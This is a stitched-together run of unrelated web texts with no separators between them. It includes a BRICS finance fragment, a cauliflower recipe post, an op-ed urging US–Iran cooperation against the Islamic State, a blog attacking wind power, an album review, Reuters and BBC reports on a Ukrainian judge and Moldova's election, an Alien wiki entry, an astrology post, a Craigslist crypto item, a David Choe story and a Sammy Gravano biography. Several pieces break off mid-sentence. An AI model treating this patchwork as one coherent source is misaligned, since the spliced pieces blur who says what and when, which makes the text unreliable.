But so far, the BRICS show little inclination as a bloc to move in that direction. Meeting last month in the Russian city of Ufa, the leaders of the five countries agreed to launch a long-planned New Development Bank to make infrastructure loans between members and a Foreign Exchange Currency Fund to provide each other emergency liquidity if their dollar reserves are stressed.
The new bank, with an initial capital of $50 billion, is in line with the group's goal of creating alternatives to Western-dominated financing, whose standards for lending and reporting reflect Western values of transparency and rule of law.
The new currency fund, which includes a pool of currency reserves worth $100 billion, is intended to help protect against devaluation of their currencies should global investors pull out of their economies in a crisis, as recently happened in Russia.By
Wednesday is Recipe Day at Cooking Manager.
Please welcome Yosefa Huber for today’s guest post. Yosefa lives in Israel with her three young children and shares her kitchen experiences on Cooking Outside the Box. You may remember Yosefa from when I interviewed her.
Growing up, I hated cauliflower. But my father-in-law eats it every day. So when he came to visit this summer I started experimenting. I’d like to share some preparation methods you might not have thought of.
Despite its lack of color, cauliflower is highly nutritious. Steaming, microwaving, or enjoying it raw preserves the most nutrients.
Mashed – In the past, I tossed the tough stalks. Try simmering them in a little water with chopped garlic. Then mash and season to taste with additions such as chives, butter, cream, herbs de provence, or curry powder.
Marinated – Mix equal parts vinegar and sugar, then add a little oil and salt. Mix in a zip-top bag or container with bite-size pieces of cauliflower and let sit in the fridge. (Alternatively, warm on the stove or microwave to speed up the process.) Great for snacking!
Roasted – Toss with olive oil and chopped garlic and roast on a baking sheet for 30-45 minutes. My kids and I gobbled this up before we had time to plate it, and even my husband said it was surprisingly delicious.
Stir Fried – I like to make a sweet teriyaki marinade by mixing soy sauce, date syrup (or another sweetener like molasses, sugar, or agave syrup), cider vinegar, oil, powdered ginger, and sesame seeds. Mix in a container or zip-top bag with cauliflower and re-mix several times over an hour or more. Dump into a hot pan and fry until tender.
All of the above suggestions can be mixed with other veggies, noodles, tofu, or chicken. But, sometimes its nice to let humble little cauliflower steal the show!
You might also like these posts by Yosefa: Sugar Slashing Sunday, Feeding Picky Eaters, and Best Podcasts of 2010 and How to Get Started.
Share this: Facebook
Email
Twitter
Pinterest
Print
More
Tumblr
Reddit
LinkedIn
Pocket
Google
Like this: Like Loading...America’s Last Best Hope for Defeating the Islamic State Is… Iran?
When President Barack Obama’s secret missive to Iranian Supreme Leader Ayatollah Khamenei was leaked to the media, the reactions were predictable: Israel was furious. Saudi Arabia was livid. And Mitt Romney was dumfounded. Speaking at the Israeli American Council, Romney called Obama’s action "astonishing" and "an enormous error." The former Republican presidential nominee added: "To suggest that we might somehow work together [with Iran] is something which is so far beyond the pale, I was speechless as I heard about it…. I simply can’t understand it."
Let’s help Mitt Romney understand.
In the now much-ballyhooed letter, Obama urged Iran’s Supreme Leader to make compromises with respect to the nuclear negotiations and reach a comprehensive deal with world powers, which in turn would enable U.S.-Iran cooperation in the fight against Islamic State (IS). For 35 years, U.S.-Iran relations have been marred by miscommunication and mistrust, and sabotaged by a cohort of spoilers (Israel, Saudi Arabia, and U.S. regional allies such as the United Arab Emirates and Bahrain), who fear that any normalization of relations with Tehran will be at the expense of their own strategic relations with Washington. From Israel’s perspective, any U.S.-Iran cooperation in the fight against the Islamic State weakens the West’s ability to extract maximum concessions from the Iranians in the ongoing negotiations over Iran’s nuclear program. Though Obama’s engagement with Iran will surely exact a high domestic political toll on the president (and perhaps his party), a breakthrough in the nuclear talks would potentially transform the geopolitical landscape of the entire Middle East, a quagmire for Obama and his predecessors. It possesses the potential to be nothing short of a game-changer.
Obama’s letter, as evidenced by its timing just three weeks before the deadline for nuclear negotiations, tests the waters for a possible breakthrough by speaking directly to the Supreme Leader, who possesses the final say on Iran’s national security policy. After a decade of failed nuclear talks, world powers (China, France, Germany, Russia, the United Kingdom, and the United States) signed an interim nuclear deal with Iran a year ago. Since the interim deal was reached, diplomats engaged in the subsequent rounds of nuclear negotiations have attempted to seal the deal by the Nov. 24 deadline. The latest round of talks — a last-ditch-effort taking place in Oman, with officials from the United States, the EU, and Iran — has struggled to chalk up anything like notable progress.
For both Iran and the West, resolving the issue of Iran’s nuclear dossier could be a shared diplomatic success. It would alleviate present concerns over the nature of Iran’s nuclear program, which the Iranians say is for peaceful purposes and the Americans fear is geared toward building a weapon. A diplomatic resolution could also begin to drain the swamp of U.S.-Iran hostilities, and open the door for broad dialogue and engagement between the two countries on issues from stabilizing Iraq and Syria to socioeconomic development and energy security in the Persian Gulf. Indeed, Obama’s most recent overture to Tehran is an indication of the administration’s urgency to get the nuclear issue off the table and move on to tackling other major differences between Tehran and Washington, with the possibility of cooperation in areas of core mutual interest.
What are the core mutual interests of two adversaries embroiled in an essentially noxious diplomatic relationship for more than three decades? At the top of the list are regional stability and the "war on terrorism" (or "terror" if you’re so inclined). The Islamic State isn’t the first bad actor in the neighborhood to force the United States and Iran to cooperate to control regional chaos. Following the 9/11 attacks, the United States sought Iran’s support in overthrowing the Taliban — a mutual enemy of both countries. Iran provided accurate intelligence on the ground in Afghanistan and mobilized the Tehran-backed Northern Alliance to support the U.S. effort, and eventually helped form an Afghan national unity government under the auspices of the United Nations in Bonn in December 2001. Two years later, in 2003, after ousting of Saddam Hussein, the two countries once again worked together to establish a representative government in Baghdad and assist with training Iraqi forces and counterterrorism efforts. In Iraq today, the core interests are even more aligned, as both Iran and the United States are vested in backing the current government in Baghdad — the alternative, the disintegration of Iraq, would be disastrous for both.
Today, the Islamic State poses the greatest threat to peace and security in the Middle East, and the ugly truth of the matter is that defeating such extremism — and stanching the fires it has ignited across the region — requires more than just American firepower. Washington seems to know this, which is why Saudi Arabia, Jordan, and other regional players have been brought into the US-led Coalition (even though many of these countries have previously funded, trained and equipped IS forces and now seek redemption). Nonetheless, one key regional power is missing: Iran. Obama’s request to Ayatollah Khamenei for closer cooperation on the fight against IS is an effort to fill that strategic gap — and indicates a realization that without Tehran’s, help the coalition will almost certainly fail.
Just what makes Iran so critical to any lasting solution? To begin with, Iran was the first government to come to Baghdad’s aid, deploying the Quds Force to train Iraqi forces fighting IS, and further success on the Iraqi battlefield has proven Iran’s constructive role. The recent fight over the strategic town of Amerli in eastern Iraq — where the Quds Force fought alongside Kurdish Peshmerga while the U.S. struck the Islamic State from the air, pushing them back — has been one of the most important battles of this campaign. Battlefield success at Amerli is an example of the type of U.S.-Iran cooperation, which could be scaled-up if the nuclear matter is resolved. Iran is also capable of playing a diplomatic role that the United States can’t or won’t, As a key backer of the Syrian government, Tehran can liaise with Assad, speaking credibly to his self-interest, and the natural affinity between Iraq’s and Iran’s Shiite communities gives it a deal-making clout that Washington can only salivate over.
Indeed, as the Obama administration now recognizes, Iran — with deep-rooted influence in multiple regional conflict theatres — can be the cornerstone to stability and security across the region.
The time for détente is now and Obama has an historic opportunity to achieve a major feat in U.S. foreign policy by bringing the nuclear matter to a close and setting down the path towards a normalization of relations — for the benefit of both countries, the region and beyond. While over three decades of mistrust can’t be dispelled overnight, past cooperation in Afghanistan and Iraq combined with the most genuine, serious, and unprecedented ministerial level (Secretary of State John Kerry and his Iranian counterpart Javad Zarif) negotiations on the nuclear issue have proved vital for direct engagement to pragmatically tackle pressing regional issues. The window for engagement remains time-sensitive, however. And if either country hopes to halt and reverse the current trajectory towards further sectarianism, extremism, and terrorism spreading throughout the Middle East, they have to act fast.Share this...
Swedish site klimatsans.com posted a chart presented by Rolf Schuster showing Germany’s and much of Europe’s total wind power generation over the first 6 months of this year:
Wind power production Germany and Europe. Chart by Rolf Schuster, from klimatsans.com.
The first thing one notices is wind power’s extreme supply volatility. In February wind production peaked at 75 gigawatts – enough to power all of Germany (for a few hours). Relying only on wind power, most of Germany would have been completely dark since late March.
Every month wind power fell multiple times close to zero, meaning that it would not even be possible to even power little Luxembourg.
And even if the technology existed to store the energy for a couple of days, the best all the installed wind power capacity in Europe could hope to consistently provide is some 15 gigawatts – which would be enough to power something on the order of Belgium only.
If power could be stored for an entire week, it would only be possible to supply only about half of Germany – the rest of the continent, France, Spain, Portugal, Benelux, United Kingdom, Ireland, Scandinavia, Greece, Austria, Switzerland, all of eastern Europe and the Balkan countries would have to go without.
This gives us an idea of how ridiculous the pursuit of 100% renewable energy supply really is.Hey there tech-death fiends! The stream train continues yet again this week here in this space. But as always, if you want to dive into prior editions of this series after checking this out they can be found here. Today's target is an early stream of Apus, the upcoming sophomore full-length by The Schoenberg Automaton.
As far as modern and outside-of-the-box sounding technical death metal goes, The Schoenberg Automaton have always strived to deliver a unique sound from their very inception as a band. First doing so with a three song demo in 2010 that showed a band seemingly already fully formed sound-wise. They then followed the hype from that up with a monstrous and well regarded full-length in 2013 called Vela, a record I still frequently spin to this day due to its intensity and consistent high quality from start to finish. While three years doesn't seem like a long time to wait between records, its felt far longer than that to me while waiting for Apus to drop. Although part of that was due to the band relocating from Australia to Canada recently, and also in trying to score a new label to put out their new record.
Ahead of its official release this Friday, June 3rd through eOne Records, you can stream the full thing below and get lost in a world of mechanized abstract rage. While the technical death metal sound the band has developed aided by mathcore and mechanized grooves influences continues on Apus, this is quite the evolution for the band. It's the sequel we always crave as fans but rarely get. Meaning it doesn't sound like a retread, its a record that sees the band as stronger songwriters who indulge in even more of the experimental and progressive elements previously showcased on Vela. With a restrained but noticeable addition of melody in brief spurts, and rounded out with healthy doses of dissonance this time around to add a little more to their sound.
I'm pleased to say that Apus indeed lives up to my high expectations for it, and really goes for broke as far as giving you a shit load of music to absorb. With a run time just over 56 minutes, Apus is a long journey for sure, but its all killer and no filler thankfully. If you like what you hear below, you can pre-order it from their here or here. Be sure to follow them over on their Facebook page too!
https://soundcloud.com/eone-music/sets/the-schoenberg-automaton/s-jz5wuKIEV (Reuters) - Ukrainian judge Artur Yemelianov has acknowledged in an online declaration that he owns a Breguet watch worth nearly a third of his annual salary and keeps piles of cash.
FILE PHOTO: The Ukrainian Supreme Court building is seen in central Kiev, Ukraine, March 5, 2016. REUTERS/Valentyn Ogirenko/File Photo
On Jan. 12 he was suspended for three months after prosecutors opened a criminal case against him related to how commercial law cases were allocated to judges, according to statements by the Ukrainian High Council of Justice and Yemelianov himself.
They accused him of rigging the process, which is supposed to be random, by setting out rules establishing that only particular judges could hear particular cases, court documents show.
The prosecutors also claim that Yemelianov nudged the judges to deliver his preferred verdicts and would take judges off cases if they refused to comply.
Ukraine is trying to show its international supporters and lenders that it can tackle entrenched corruption, including in the judiciary.
The next payment of a $17.5 billion loan from the International Monetary Fund will depend on Kiev showing progress on reforms including anti-graft measures.
Yemelianov denies any wrongdoing and says his businesswoman ex-wife gave him money that helped to fund his lifestyle.
He says the allegations that he rigged the case allocation process were trumped up by his enemies in revenge for his attempts to stamp out bribe-taking and to stop him securing a seat at a newly established Supreme Court. His application could not be considered because of the criminal case against him.
“The main goal was achieved - as soon as I was taken out of the running in the competition (for the Supreme Court),” he said earlier this month.
The case is still ongoing and until it is closed, he is unable to travel abroad and his 1.5 million hryvnia ($56,944) bail money stays with the court.
The prosecutors, according to their publicly available statements, opened the Yemelianov case after tip-offs from other judges. The prosecution service declined to comment on this story.
The Ukrainian government, activists and anti-corruption officials have said the judiciary acts as a shield for corruption and distorts the business environment.
The central bank complains that the judicial system has hampered its efforts to shut down banks it believes are engaged in nefarious practices such as money-laundering. It says that courts have given rulings that allowed 12 banks to stay open when they should have been closed, according to several central bank statements, most recently on May 11.
“We are all living in the real world and are well aware that the judicial system is not clean, and bribery, and corruption and cronyism exist there,” Justice Minister Pavlo Petrenko told Reuters in January.
“The weakest link in our fight against corruption is the Ukrainian court,” Prime Minister Volodymyr Groysman said at a press conference in April.
He was speaking shortly after Transparency International released figures showing that Ukraine ranked 131 out of 176 countries in the World Ranking of Corruption Perception.
CASH AND PORSCHES
The government launched a drive to fight corruption last year under which judges and other public sector workers are required to detail their wealth in an online database.
About 30 judges, with annual salaries ranging from $10,000-$13,000, own Porsches, according to their declaration for 2015 and others have big sums of cash.
Yemelianov declared a 2015 salary of 226,181 hryvnias ($10,354), a watch costing 68000 hryvnias and Blaser Repetierbuchse R8 Carbine worth 113,000 hryvnias ($5,173), and cash in hryvnias, euros and dollars worth the equivalent of $383,000, according the 2015 average rate.
In 2013, his family income included 930,000 hryvnias in presents, prizes and wins.
The wealth declarations of some of Ukraine’s most famous politicians and public officials have been pored over by the media and anti-corruption activists. If the prosecutors are right, Yemelianov and others judges have a pernicious influence on Ukraine’s business climate.
Yemelianov says the prosecutors accused him of rigging thousands of cases but have not produced any evidence.
He submitted his grievances to the European Court of Human Rights in April, and hopes the Court will take up his case and vindicate him.
He said he hopes the Court would “affirm the illegality of the conduct of Ukraine and Ukrainian bodies, including law enforcement, towards me and the violation of my rights as a citizen.”
“PANDORA’S BOX”
As part of the anti-corruption drive, the National Agency for the Prevention of Corruption (NAZK), which is responsible for checking the online declarations, is carrying out separate investigations into whether officials obtained the wealth they detailed honestly.
An official at Ukraine’s anti-corruption bureau NABU told Reuters it had also begun investigations into the declarations of judges but declined to name them or provide further details.
The IMF has urged NAZK and NABU to work more closely together and said legislation must be passed by June to set up an anti-corruption court as a condition of its aid program, according to an IMF country report released in April.
As well as the online data base, the setting up of a Supreme Court and anti-corruption court, Ukraine has removed judges’ automatic immunity from prosecution and stripped lawmakers of the power to appoint judges.
But Petrenko said it will be hard to reform the judiciary while judges have an interest in throwing out corruption cases against public officials to try and make sure other judges don’t eventually turn the focus on them.
“Will that judge take an objective decision? I think he will not, because he understands that he will open Pandora’s box and this practice can be used against him,” he said.
Reformist officials and ministers in the Ukrainian state have complained their efforts to root out graft are resisted by MPs, ministers and officials who profit from the current system.
“We feel the resistance of the old, unreformed system,” Artem Sytnyk, the head of the NABU told Reuters.
MONEY FROM HIS WIFE
Yemelianov says the bulk of his recent income comes from his ex-wife, Svitlana Yemelianova, who is now in Vienna and gave him a 3 million hryvnia ($137,333) loan in 2015 to finance his travel expenses to see their three children.
“She’s a wealthy woman, she has this money, she earns as she did before. In order to regularly fly to see my daughter, I need to have the necessary money. My salary is not enough for this,” he said.
He says he was a successful lawyer until 2001. He says that his ex-wife became a wealthy businesswoman and psychologist in Donetsk, which has been under the control of Russian-backed separatists since an uprising erupted in 2014.
She fled Donetsk as the fighting started and left behind most of the documents related to her firms, Yemelianov said.
Ukrainian judge Artur Yemelianov attends an interview with Reuters in Kiev, Ukraine, December 29, 2016. Picture taken December 29, 2016. REUTERS/Natalia Zinets
Efforts by Reuters to reach Svitlana Yemelianova in Vienna were unsuccessful. Yemelianov declined to pass on her contact details to Reuters.
Yemelianov said he did not know any details of his wife’s current businesses.
“I can’t tell you what kind of profits there were (at her businesses), but it’s a fact that none of them had zero income.”Media playback is unsupported on your device Media caption Ben Bland reports on results from Moldova's parliamentary elections
Latest results from Moldova's parliamentary elections show that pro-EU parties have a narrow lead over those backing closer ties with Russia.
With most of the votes counted, the three pro-Western parties have about 44%. The opposition has 39%.
No party appears to be able to form a government, and tough post-election bargaining is predicted.
The elections have taken on a wider significance in the shadow of the conflict in neighbouring Ukraine.
Moldova and Ukraine have signed far-reaching partnership agreements with the EU, bitterly opposed by Russia.
On the eve of the vote, one pro-Russian party was banned from Sunday's poll - a move criticised by Russia.
Residents of the Russian-backed breakaway region of Trans-Dniester did not take part in the election.
Analysis by Nick Thorpe, BBC Central Europe correspondent
The three pro-EU parties will have a big enough majority to form a government. But those aspirations have been dented by the strong showing of the Socialist Party, which wants Moldova to join Russian President Vladimir Putin's planned Eurasian Union instead.
As the largest single party in the new parliament, Socialist leader Igor Dodon promised that his party in opposition would make the "European integrationists shake with fear".
Tough bargaining lies ahead. One reason for the fall in support for the pro-European parties - from 52% at the 2010 elections, to 44.6% per cent now - was their history of infighting. Another reason was their perceived corruption.
The election also showed a change in popularity for the three main pro-Russian parties. The younger and more outspoken Socialists overtook the Communists.
According to latest results, the three pro-European parties are set to have 57-58 seats in Moldova's 101-seat parliament, while the two pro-Russian opposition parties are expected to hold 43-44 seats, reports say.
The pro-Russian Socialist Party came first with 21% of the vote. The Communist Party was in third with almost 18%. The party is a Soviet-era survivor that still uses the hammer and sickle as its symbol, although it is not seen as fundamentally opposed to EU integration.
The pro-EU Liberal Democrats were in second place with 19%. The party wants Moldova to achieve EU candidate status by 2017 and full membership by 2020. Two other pro-Europe parties - the Democrats and the Liberals - were on 16% and 9% respectively.
There have been reports that the pro-EU parties may now try to form a "grand coalition" with the communists to keep the country on the European track.
Image copyright AFP Image caption Between East and West - Russian dolls can be bought in Chisinau markets
Ukraine has been in crisis since last November, when the former leadership made a last-minute U-turn, refusing to sign a landmark association and free trade deal with the EU - under huge pressure from Russia.
This triggered mass protests in Ukraine that ousted President Viktor Yanukovych, and Kiev later signed the EU deal. But the protests, in turn, led to Russia annexing southern Crimea peninsula in March and throwing support behind separatist rebels in eastern Ukraine.
Ahead of the Moldova vote, analysts said poll ratings of the Socialists, who want Moldova to turn its back on the EU and join a Russia-dominated economic bloc, had been boosted by their populist campaigning, including concerts by Russian pop stars.
Image copyright EPA Image caption Moldova remains one of the poorest countries in Europe
The pro-Moscow parties had been expected to pick up additional votes after the decision to ban the pro-Russian Fatherland party, on the grounds that it had illegally received foreign funding.
Fatherland, whose leader fled to Russia, denies the claim.
Turnout was just under 56%, the central electoral commission said, out of a total of 2.7 million eligible voters.
Parties need to get at least 6% of the vote to gain seats in parliament.
The opposition was also hoping to capitalise on the growing economic problems under the pro-Western government in Moldova - one of Europe's poorest countries.
The situation worsened after a Russian ban on imports of Moldovan agricultural products - including wine, meat, fruit and vegetables.Newborn Biological information Host name Host type None Status Deceased Physical description Class Height 7'11" Weight 350 lbs Chronological information First appearance Alien Resurrection (only appearance) Last appearance Portrayed by Joan LaBarbara
Archie Hahn
The Newborn, was a human-Xenomorph hybrid that was birthed by the Genetic Queen. The Newborn emerged as a byproduct of cloning experiments conducted by scientists of the United Systems Military. Doctors Mason Wren, Gediman, and others used the alien-corrupted DNA samples of Ellen Ripley in an attempt to produce a Xenomorph Queen.
After seven unsuccessful attempts to differentiate Ellen Ripley's DNA from the developing queen's, a fully formed Queen chestburster was removed from the eighth (and to all appearances) fully human Ripley clone. Once removed, the Queen continued her normal cycle of laying eggs. Upon her reunion with Ripley 8 (now exhibiting Xenomorph traits) the Queen had moved past the egg laying stage and developed a massive womb, Ripley's genetic "gift", according to the maddened Dr. Gediman. The Newborn emerges from the womb, the Queen's first live birth.
Contents show]
History Edit
Birth Edit
After emerging from the Queen's womb, a cocooned Dr. Gediman described it as a "beautiful, beautiful butterfly", showing his personal affection for the beast. The Newborn proceeded to talk to the queen through low growls. As sudden as it was surprising, the newborn decapitated the Queen (to the horror and confusion of Dr. Gediman). It then went over to Ripley 8 and slowly licked her in affection; Gediman, ever the informational support, told Ripley that the Newborn had apparently imprinted on her as its mother instead of the Queen. When the Newborn heard him speak, it went over to the insane doctor and tears open the top of his skull with its jaws, likely having just noticed him.
On Board the Betty & Death Edit
When Annalee Call went to close the back of the Betty, she was attacked by the Newborn. She escaped the reach of the creature by slipping into the safety of a crevice. Eventually, Officer DiStephano moved back to figure out what was going on, only to have his skull broken open by the Newborn. After Vriess's unanswered calls to DiStephano, Ripley sensed that something was wrong and moved back to the cargo area as well, discovering the Newborn holding onto Call. Ripley, utilizing the Newborn's imprintation onto her to her advantage, commands it to put Call down. She then moves over to the creature, embracing it as her offspring.
However, she is using this event to her advantage as well - she purposefully cuts her hand on one of the Newborn's fangs and flings a trace amount of her blood against the nearest window. As she is a Xenomorphic hybrid, her acidic blood corroded through the window, causing a lack of equalized pressure and dragging everything to the tiny hole leading out to space. Ripley and Call grab onto some straps in order to keep from being sucked towards the hole herself, while Newborn smashes up against the window.
Before long, the Newborn's internal organs were ruptured and eventually the entirety of its form is sucked out the window piece by piece, slowly and excruciatingly killing it. While it is being sucked through the hole in the glass it was reportedly heard screaming the word "Mama" at Ripley 8.
During its demise, Ripley expressed remorse, and informs it that she is sorry for the inevitable outcome. Unmistakably it was looking at her with the deepest sadness for her turning on it.
Appearance Edit
This breed of Xenomorph was the resulting offspring which emerged from the womb. It had a softer skin rather than the chitinous exoskeleton of the other breeds. It also had more Human proportions as well as a slightly Human face with eyes deep in the sockets as well as feral fangs. It also had no sign of a tail, which had likely shrank to the vestigial length of a coccyx. This is the one alien that seems to look the closest to the Engineer.
Intelligence Edit
The creature also showed timidness and a lack of understanding of the world and its surroundings, unusual considering the cunning and stealth typically displayed by adult xenomorphs. The creature generally displayed an almost childlike demeanor in a grim way, humming tunelessly as it toyed around with its victims' remains, showing cruel innocence, a trait very similar to many human children who simply don't yet understand the repercussion of their actions. The newborn (when confronting Call at the door) somehow understood the situation the ship was in by not being able to leave with the door being stuck open, in which the newborn grabbed and closed it, either knowing it was in danger or Ripley 8 was due to following her onboard.
Abilities Edit
Being able to simply kill the alien queen with 1 swipe is no mean feat but barely after birth makes it clearly by far one of the strongest aliens to have appeared.
Behind the Scenes Edit
Concept and design Edit
The Newborn creature Joss Whedon originally scripted the Newborn Creature in Alien Resurrection as being an eyeless, ivory-white quadruped with red veins running along the sides of its head. It had an inner jaw, with the addition of a pair of pincers on the sides of its head. These pincers would have been used to immobilise its prey as it drained it of blood through the inner jaw. The creature was also meant to rival the Queen in size. Jean-Pierre Jeunet, the film's director, later asked ADI to lean towards making the human-Alien hybrid, known as the Newborn, more human than Alien. The Newborn's eyes and nose were added to improve its expressions to make it a character, rather than just a "killing machine", and give it depth as a character. Jeunet was adamant about the Newborn having genitalia, a mix of both sexes. However, Fox was uncomfortable and even Jeunet felt "even for a Frenchman, it's too much." The genitalia were digitally removed in post-production. The Newborn animatronic required nine puppeteers and was the most complex animatronic in the film.There are a variety of compatibility tests using astrological synastry on the web and some astrology programs like Kepler cater for synastry. So I was inspired to experiment with the Café Astrology compatibility ranking system* and came up with my own Love Match test. It does seem gimmicky and crass to invent such a thing, but could such tests be useful?
Love between a couple cannot be measured as such, but harmony or a sparky tension between the connections certainly can. The important thing is that there connections at all, even difficult ones! A so-called ‘Love Match’ test then, can at least be objective and prevent your own love-sick bias from making a silk purse out of a sow’s ear.
I tried as many famous couples as I could find with an accurate birth time and all the couples I knew personally. I wasn’t surprised Paul Newman and Joanne Woodward scored highly, but when I tried the others it all fell apart. After experimenting and stripping down the score I think I have come up with a formula that sorts out the wheat from the chaff.
I found the aspects that cut it time and time again are the classics. Forget your hyped-up outer planets, deluded Neptune and your karmic quincunxes. Space-dust and glitter! To find a rock |
system is needed to cope with the scale of the outflow, the U.N. refugee agency said.
“People are making these crossings in larger numbers because they are fleeing war in larger numbers. You have conflicts to the east of Europe in Ukraine, you have conflicts to the southeast in the Syria-Iraq region, you have conflict to the south,” UNHCR spokesman Adrian Edwards said.
“Border policies must be designed in such a way that saving lives is the focus.”The popular classified site Craigslist has quietly added an option that will make it easier for people to swap used cars, furniture, and other items for digital currencies like bitcoin.
The new feature, spotted by a blockchain news site, permits sellers to tick a box saying “cryptocurrency ok” to indicate they will accept it as payment. Meanwhile, buyers can restrict their search only to sellers who will accept digital currency.
Here is a screenshot that shows how the new option appears when placing an ad, followed by an example of a mattress owner who will accept bitcoin:
A quick review of the Brooklyn section of Craigslist revealed several dozen sellers willing to accept cryptocurrency payments. (In practical terms, most such payments are likely to be in bitcoin since it is by far the most common digital currency).
For users of Craigslist, which facilitates transactions between strangers, the new payment option—which involves transferring digital currency from one online wallet to another—may amount to a more secure option than using a check or exchanging a wad of cash.
Get Data Sheet, Fortune’s technology newsletter.
On the other hand, the fees to process a bitcoin transaction have climbed significantly this year, which is likely to make such payments less appealing. As such, it seems more likely Craigslist users wishing to avoid checks or cash will turn to another digital option such as Venmo or Apple Pay.
While online retailers like Overstock have accepted bitcoin payments for years, the number of such transactions has reportedly been declining, in part because of the rise in fees.
Craigslist hasn’t issued a public statement about why it added the new option, but its decision coincides with a wave of hype surrounding bitcoin, whose price has soared through the roof this year.Good work if you can get it.
In 2005, the artist David Choe was hired to paint some murals in Facebook HQ. Facebook, then a young and scrappy social network, offered Choe a choice of two forms of payment: cash or Facebook stock. In an interview with the New York Times this week, Choe recalled that he eventually decided on the stock option, even figured his choice was "ridiculous and pointless." Fast forward a few years, and Choe is poised to become a multimillionaire.
According to the Times, assuming Choe hasn't otherwise unloaded the stock, his Facebook shares will be worth approximately $200 million when Facebook goes public later this year. (On Wednesday, Facebook filed S-1 papers with the US Securities and Exchange Commission, a move that brings the social network, which could be valued at $100 billion, one step closer to its long awaited IPO.)
Choe, for his part, seems to be handling the news pretty well. In a not-appropriate-for-children post on his personal blog, Choe said the whole thing was "very very similar to another dream I have where I wake up at noon to my phone ringing, and the ringtone is butterfly wings, I pick it up and it’s Howard Stern, the view, Ellen, Charlie Rose, Telemundo and every news outlet in the world."
The artist went on to call himself "the most highest-paid decorator alive."
Hey, you know who else the Facebook IPO will benefit, aside from Choe and the Facebook brass? Social gaming juggernaut Zynga, which saw its shares soar in morning trading yesterday. According to the S-1 papers filed by Facebook, a whopping 12 percent of Facebook's revenue last year came from Zynga games – approximately $445 million, by one estimation.
Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy
Meanwhile, a peek inside the Facebook filing papers shows that the social network's IPO will likely create literally hundreds of millionaires.Salvatore "Sammy the Bull" Gravano (born March 12, 1945) is a former underboss of the Gambino crime family. He is known as the man who helped bring down John Gotti, the family's boss, by agreeing to testify against him and other mobsters in a deal in which he confessed to involvement in 19 murders.[1]
Originally a mobster for the Colombo crime family, and later for the Brooklyn faction of the Gambinos, Gravano was part of the group that murdered Gambino boss Paul Castellano in 1985. Gravano played a key role in planning and executing Castellano's murder, along with John Gotti, Angelo Ruggiero, Frank DeCicco, and Joseph Armone.
Five years after Castellano's death, Gotti elevated Gravano to underboss, a position Gravano held at the time he became a government witness. At the time, Gravano was the highest-ranking member of the Five Families to break his blood oath and cooperate with the government, as well as the second confessed underboss of an American crime family to turn informer. His testimony drew a wave of Cosa Nostra members to also become government witnesses.
Including time served, he was initially in prison for five years because of his state cooperation. However, in 2002, he was convicted of operating a large drug ring which led to his serving a further 15 years of a 17-year sentence. He was released early in September 2017.[2]
Childhood and early life [ edit ]
Salvatore Gravano was born in 1945 to Giorlando "Gerry" and Caterina "Kay" Gravano. He was the youngest of three children and the only boy. His father ran a small dress factory and maintained a good standard of living for the family.
The Gravano family lived in Bensonhurst, a largely Italian American neighborhood in Brooklyn. Early on, one of Gravano's relatives remarked that he looked like his uncle Sammy. From that point on, everyone called Gravano "Sammy" instead of "Salvatore" or "Sal."[3][page needed]
At age 7, Gravano started stealing two cupcakes every day from a corner store in Bensonhurst on his way to school. After being caught by a store employee, a distraught Gravano received a stern warning. At age 13, Gravano joined the Rampers, a prominent street gang in Bensonhurst.
At an early age, Gravano found a few people that had stolen his bicycle and went to fight the thieves. Made men who were watching from a cafe saw him take on a few people at once, and they gave Gravano back his bike. As he was leaving, one of the made men remarked on how little Sammy fought "like a bull", hence his nickname "The Bull".[4]
Gravano did poorly in school, possibly due to dyslexia. However, teachers blamed his problems on his "being a slow learner".
Gravano was held back from grade advancement on two occasions. At first, other children taunted him about this, but the taunting ended after Gravano assaulted several bullies.
When Gravano reached age 16, the school refused to keep him any longer. Gravano's father tried to redirect and discipline his son, including forcing him to attend Mass, but had little success.[3][page needed]
In 1964, Gravano was drafted into the United States Army and served in the United States. While an enlisted man, Gravano mainly worked as a mess hall cook. He rose to the rank of corporal and was granted an honorable discharge after two years.[5]
In 1971, Gravano married Debra Scibetta; they had two children. His daughter Karen Gravano appeared on the VH1 reality series, Mob Wives beginning in 2011.[5]
Later in his mob career, Gravano was ordered to help arrange the murder of his brother-in-law, Nicholas Scibetta.[6] Gravano is also the brother-in-law of Gambino capo Edward Garafola and Mario Garafola.[3][page needed] Gravano was a childhood friend of Colombo crime family associate, Gerard Pappa.[3][page needed]
Colombo associate [ edit ]
The Mafia had been in Bensonhurst for a long time; several "wiseguys" hung around a bar that a young Gravano and his father frequently passed.
Despite his father's attempts to dissuade him, Gravano, like many of his Ramper colleagues, drifted into the Cosa Nostra. He first became associated with the Cosa Nostra in 1968 through Anthony Spero, whose uncle Shorty was an associate of the Colombo crime family under future boss, Carmine "The Snake" Persico.[4] Gravano in his book Underboss stated that as soon as he agreed "to go on record" with Shorty to be officially associated with the Colombo Family he was taken to meet Shorty's captain Carmine Persico, Gravano said that "it was an honor for me to meet him, he was a living legend not just in Bensonhurst but all over. Carmine shook Sammy's hand and said I'm real happy about this I heard a lot of good things about you." Gravano was initially involved in crimes such as larceny, hijacking, and armed robbery.[3][page needed] Right around the time Sammy joined Shorty's crew Sammy, Tommy, and Lenny stuck up a clothing store. Sammy stated in his book Underboss that he went in first but did not wear a mask because he did not want to alert the shopkeeper. Sammy put a gun in the shopkeepers face and Lenny and Tommy came in and they grabbed all the cash plus some clothes they carried out the back. They had a van waiting for them but the guy behind the counter picked Sammy's face out of a mugshot book and Sammy could have been charged with Grand Larceny and forcible theft with a deadly weapon, but luckily for Gravano the shop keeper knew a guy from the DeCalvacante Family. Shorty got in touch with the connection and when the time for court came, the owner of the store said that it wasn't Gravano and the case was thrown out. He quickly moved into racketeering, loansharking, and running a lucrative poker game in the back room of an after-hours club, of which he was part owner.[4]
